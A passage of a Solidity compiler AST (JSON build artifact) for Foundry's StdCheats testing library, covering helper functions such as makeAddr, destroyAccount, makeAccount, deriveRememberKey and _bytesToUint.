(address,uint256)"}},"id":5295,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"20537:20:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$_t_uint256_$","typeString":"tuple(address,uint256)"}},"src":"20527:30:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5297,"nodeType":"ExpressionStatement","src":"20527:30:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"makeAddr","nameLocation":"20448:8:3","parameters":{"id":5287,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5286,"mutability":"mutable","name":"name","nameLocation":"20471:4:3","nodeType":"VariableDeclaration","scope":5299,"src":"20457:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5285,"name":"string","nodeType":"ElementaryTypeName","src":"20457:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20456:20:3"},"returnParameters":{"id":5290,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5289,"mutability":"mutable","name":"addr","nameLocation":"20511:4:3","nodeType":"VariableDeclaration","scope":5299,"src":"20503:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5288,"name":"address","nodeType":"ElementaryTypeName","src":"20503:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20502:14:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5348,"nodeType":"FunctionDefinition","src":"20882:337:3","nodes":[],"body":{"id":5347,"nodeType":"Block","src":"20957:262:3","nodes":[],"statements":[{"assignments":[5307],"declarations":[{"constant":false,"id":5307,"mutability":"mutable","name":"currBalance","nameLocation":"20975:11:3","nodeType":"VariableDeclaration","scope":5347,"src":"20967:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5306,"name":"uint256","nodeType":"ElementaryTypeName","src":"20967:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5310,"initialValue":{"expression":{"id":5308,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"20989:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5309,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"20993:7:3","memberName":"balance","nodeType":"MemberAccess","src":"20989:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"20967:33:3"},{"expression":{"arguments":[{"id":5314,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"21018:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"arguments":[],"expression":{"argumentTypes":[],"expression":{"id":5315,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21023:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5316,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21027:6:3","memberName":"encode","nodeType":"MemberAccess","src":"21023:10:3","typeDescriptions":{"typeIdentifier":"t_function_abiencode_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5317,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21023:12:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5311,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21010:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5313,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21013:4:3","memberName":"etch","nodeType":"MemberAccess","referencedDeclaration":15225,"src":"21010:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_bytes_memory_ptr_$returns$__$","typeString":"function (address,bytes memory) external"}},"id":5318,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21010:26:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5319,"nodeType":"ExpressionStatement","src":"21010:26:3"},{"expression":{"arguments":[{"id":5323,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"21054:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"hexValue":"30","id":5324,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21059:1:3","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"}],"expression":{"id":5320,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21046:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5322,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21049:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"21046:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5325,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21046:15:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5326,"nodeType":"ExpressionStatement","src":"21046:15:3"},{"expression":{"arguments":[{"id":5330,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5301,"src":"21085:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"expression":{"id":5327,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21071:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5329,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21074:10:3","memberName":"resetNonce","nodeType":"MemberAccess","referencedDeclaration":15357,"src":"21071:13:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":5331,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21071:18:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5332,"nodeType":"ExpressionStatement","src":"21071:18:3"},{"assignments":[5334],"declarations":[{"constant":false,"id":5334,"mutability":"mutable","name":"beneficiaryBalance","nameLocation":"21108:18:3","nodeType":"VariableDeclaration","scope":5347,"src":"21100:26:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5333,"name":"uint256","nodeType":"ElementaryTypeName","src":"21100:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"id":5337,"initialValue":{"expression":{"id":5335,"name":"beneficiary","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5303,"src":"21129:11:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5336,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21141:7:3","memberName":"balance","nodeType":"MemberAccess","src":"21129:19:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"VariableDeclarationStatement","src":"21100:48:3"},{"expression":{"arguments":[{"id":5341,"name":"beneficiary","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5303,"src":"21166:11:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5344,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"id":5342,"name":"currBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5307,"src":"21179:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"+","rightExpression":{"id":5343,"name":"beneficiaryBalance","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5334,"src":"21193:18:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"21179:32:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"},{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5338,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21158:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5340,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21161:4:3","memberName":"deal","nodeType":"MemberAccess","referencedDeclaration":15193,"src":"21158:7:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_uint256_$returns$__$","typeString":"function (address,uint256) external"}},"id":5345,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21158:54:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5346,"nodeType":"ExpressionStatement","src":"21158:54:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"destroyAccount","nameLocation":"20891:14:3","parameters":{"id":5304,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5301,"mutability":"mutable","name":"who","nameLocation":"20914:3:3","nodeType":"VariableDeclaration","scope":5348,"src":"20906:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5300,"name":"address","nodeType":"ElementaryTypeName","src":"20906:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5303,"mutability":"mutable","name":"beneficiary","nameLocation":"20927:11:3","nodeType":"VariableDeclaration","scope":5348,"src":"20919:19:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5302,"name":"address","nodeType":"ElementaryTypeName","src":"20919:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"20905:34:3"},"returnParameters":{"id":5305,"nodeType":"ParameterList","parameters":[],"src":"20957:0:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5368,"nodeType":"FunctionDefinition","src":"21317:158:3","nodes":[],"body":{"id":5367,"nodeType":"Block","src":"21408:67:3","nodes":[],"statements":[{"expression":{"id":5365,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"components":[{"expression":{"id":5356,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5354,"src":"21419:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$3793_memory_ptr","typeString":"struct StdCheatsSafe.Account memory"}},"id":5358,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"21427:4:3","memberName":"addr","nodeType":"MemberAccess","referencedDeclaration":3790,"src":"21419:12:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},{"expression":{"id":5359,"name":"account","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5354,"src":"21433:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$3793_memory_ptr","typeString":"struct StdCheatsSafe.Account memory"}},"id":5360,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"21441:3:3","memberName":"key","nodeType":"MemberAccess","referencedDeclaration":3792,"src":"21433:11:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"id":5361,"isConstant":false,"isInlineArray":false,"isLValue":true,"isPure":false,"lValueRequested":true,"nodeType":"TupleExpression","src":"21418:27:3","typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$_t_uint256_$","typeString":"tuple(address,uint256)"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5363,"name":"name","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5350,"src":"21463:4:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":5362,"name":"makeAddrAndKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5284,"src":"21448:14:3","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_string_memory_ptr_$returns$_t_address_$_t_uint256_$","typeString":"function (string memory) returns (address,uint256)"}},"id":5364,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21448:20:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$_t_address_$_t_uint256_$","typeString":"tuple(address,uint256)"}},"src":"21418:50:3","typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5366,"nodeType":"ExpressionStatement","src":"21418:50:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"makeAccount","nameLocation":"21326:11:3","parameters":{"id":5351,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5350,"mutability":"mutable","name":"name","nameLocation":"21352:4:3","nodeType":"VariableDeclaration","scope":5368,"src":"21338:18:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5349,"name":"string","nodeType":"ElementaryTypeName","src":"21338:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21337:20:3"},"returnParameters":{"id":5355,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5354,"mutability":"mutable","name":"account","nameLocation":"21399:7:3","nodeType":"VariableDeclaration","scope":5368,"src":"21384:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$3793_memory_ptr","typeString":"struct StdCheatsSafe.Account"},"typeName":{"id":5353,"nodeType":"UserDefinedTypeName","pathNode":{"id":5352,"name":"Account","nameLocations":["21384:7:3"],"nodeType":"IdentifierPath","referencedDeclaration":3793,"src":"21384:7:3"},"referencedDeclaration":3793,"src":"21384:7:3","typeDescriptions":{"typeIdentifier":"t_struct$_Account_$3793_storage_ptr","typeString":"struct StdCheatsSafe.Account"}},"visibility":"internal"}],"src":"21383:24:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5395,"nodeType":"FunctionDefinition","src":"21481:253:3","nodes":[],"body":{"id":5394,"nodeType":"Block","src":"21633:101:3","nodes":[],"statements":[{"expression":{"id":5385,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5379,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5377,"src":"21643:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5382,"name":"mnemonic","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5370,"src":"21669:8:3","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},{"id":5383,"name":"index","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5372,"src":"21679:5:3","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"},{"typeIdentifier":"t_uint32","typeString":"uint32"}],"expression":{"id":5380,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21656:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5381,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21659:9:3","memberName":"deriveKey","nodeType":"MemberAccess","referencedDeclaration":14979,"src":"21656:12:3","typeDescriptions":{"typeIdentifier":"t_function_external_pure$_t_string_memory_ptr_$_t_uint32_$returns$_t_uint256_$","typeString":"function (string memory,uint32) pure external returns (uint256)"}},"id":5384,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21656:29:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"21643:42:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"id":5386,"nodeType":"ExpressionStatement","src":"21643:42:3"},{"expression":{"id":5392,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":5387,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5375,"src":"21695:3:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":5390,"name":"privateKey","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5377,"src":"21716:10:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"expression":{"id":5388,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":3504,"src":"21701:2:3","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":5389,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21704:11:3","memberName":"rememberKey","nodeType":"MemberAccess","referencedDeclaration":15050,"src":"21701:14:3","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_uint256_$returns$_t_address_$","typeString":"function (uint256) external returns (address)"}},"id":5391,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21701:26:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"21695:32:3","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":5393,"nodeType":"ExpressionStatement","src":"21695:32:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"deriveRememberKey","nameLocation":"21490:17:3","parameters":{"id":5373,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5370,"mutability":"mutable","name":"mnemonic","nameLocation":"21522:8:3","nodeType":"VariableDeclaration","scope":5395,"src":"21508:22:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":5369,"name":"string","nodeType":"ElementaryTypeName","src":"21508:6:3","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":5372,"mutability":"mutable","name":"index","nameLocation":"21539:5:3","nodeType":"VariableDeclaration","scope":5395,"src":"21532:12:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"},"typeName":{"id":5371,"name":"uint32","nodeType":"ElementaryTypeName","src":"21532:6:3","typeDescriptions":{"typeIdentifier":"t_uint32","typeString":"uint32"}},"visibility":"internal"}],"src":"21507:38:3"},"returnParameters":{"id":5378,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5375,"mutability":"mutable","name":"who","nameLocation":"21604:3:3","nodeType":"VariableDeclaration","scope":5395,"src":"21596:11:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":5374,"name":"address","nodeType":"ElementaryTypeName","src":"21596:7:3","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"},{"constant":false,"id":5377,"mutability":"mutable","name":"privateKey","nameLocation":"21617:10:3","nodeType":"VariableDeclaration","scope":5395,"src":"21609:18:3","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":5376,"name":"uint256","nodeType":"ElementaryTypeName","src":"21609:7:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"21595:33:3"},"scope":5537,"stateMutability":"nonpayable","virtual":true,"visibility":"internal"},{"id":5429,"nodeType":"FunctionDefinition","src":"21740:253:3","nodes":[],"body":{"id":5428,"nodeType":"Block","src":"21809:184:3","nodes":[],"statements":[{"expression":{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5406,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"expression":{"id":5403,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5397,"src":"21827:1:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":5404,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21829:6:3","memberName":"length","nodeType":"MemberAccess","src":"21827:8:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"nodeType":"BinaryOperation","operator":"<=","rightExpression":{"hexValue":"3332","id":5405,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21839:2:3","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"src":"21827:14:3","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},{"hexValue":"537464436865617473205f6279746573546f55696e74286279746573293a204279746573206c656e67746820657863656564732033322e","id":5407,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"21843:57:3","typeDescriptions":{"typeIdentifier":"t_stringliteral_b4b692fb570df93e970ec8540fb3e2b3774022687951840fb5414e81f7899b71","typeString":"literal_string \"StdCheats _bytesToUint(bytes): Bytes length exceeds 32.\""},"value":"StdCheats _bytesToUint(bytes): Bytes length exceeds 32."}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bool","typeString":"bool"},{"typeIdentifier":"t_stringliteral_b4b692fb570df93e970ec8540fb3e2b3774022687951840fb5414e81f7899b71","typeString":"literal_string \"StdCheats _bytesToUint(bytes): Bytes length exceeds 32.\""}],"id":5402,"name":"require","nodeType":"Identifier","overloadedDeclarations":[-18,-18],"referencedDeclaration":-18,"src":"21819:7:3","typeDescriptions":{"typeIdentifier":"t_function_require_pure$_t_bool_$_t_string_memory_ptr_$returns$__$","typeString":"function (bool,string memory) pure"}},"id":5408,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21819:82:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":5409,"nodeType":"ExpressionStatement","src":"21819:82:3"},{"expression":{"arguments":[{"arguments":[{"arguments":[{"commonType":{"typeIdentifier":"t_uint256","typeString":"uint256"},"id":5419,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"hexValue":"3332","id":5416,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"21956:2:3","typeDescriptions":{"typeIdentifier":"t_rational_32_by_1","typeString":"int_const 32"},"value":"32"},"nodeType":"BinaryOperation","operator":"-","rightExpression":{"expression":{"id":5417,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5397,"src":"21961:1:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"id":5418,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"21963:6:3","memberName":"length","nodeType":"MemberAccess","src":"21961:8:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"src":"21956:13:3","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":5415,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"NewExpression","src":"21946:9:3","typeDescriptions":{"typeIdentifier":"t_function_objectcreation_pure$_t_uint256_$returns$_t_bytes_memory_ptr_$","typeString":"function (uint256) pure returns (bytes memory)"},"typeName":{"id":5414,"name":"bytes","nodeType":"ElementaryTypeName","src":"21950:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}}},"id":5420,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21946:24:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"id":5421,"name":"b","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":5397,"src":"21972:1:3","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"expression":{"id":5412,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21929:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5413,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21933:12:3","memberName":"encodePacked","nodeType":"MemberAccess","src":"21929:16:3","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":5422,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21929:45:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},{"components":[{"id":5424,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"21977:7:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":5423,"name":"uint256","nodeType":"ElementaryTypeName","src":"21977:7:3","typeDescriptions":{}}}],"id":5425,"isConstant":false,"isInlineArray":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"TupleExpression","src":"21976:9:3","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"},{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"}],"expression":{"id":5410,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"21918:3:3","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":5411,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"21922:6:3","memberName":"decode","nodeType":"MemberAccess","src":"21918:10:3","typeDescriptions":{"typeIdentifier":"t_function_abidecode_pure$__$returns$__$","typeString":"function () pure"}},"id":5426,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"21918:68:3","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"functionReturnParameters":5401,"id":5427,"nodeType":"Return","src":"21911:75:3"}]},"implemented":true,"kind":"function","modifiers":[],"name":"_bytesToUint","nameLocation":"21749:12:3","parameters":{"id":5398,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5397,"mutability":"mutable","name":"b","nameLocation":"21775:1:3","nodeType":"VariableDeclaration","scope":5429,"src":"21762:14:3","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":5396,"name":"bytes","nodeType":"ElementaryTypeName","src":"21762:5:3","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21761:16:3"},"returnParameters":{"id":5401,"nodeType":"ParameterList","parameters":[{"constant":false,"id":5400,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType"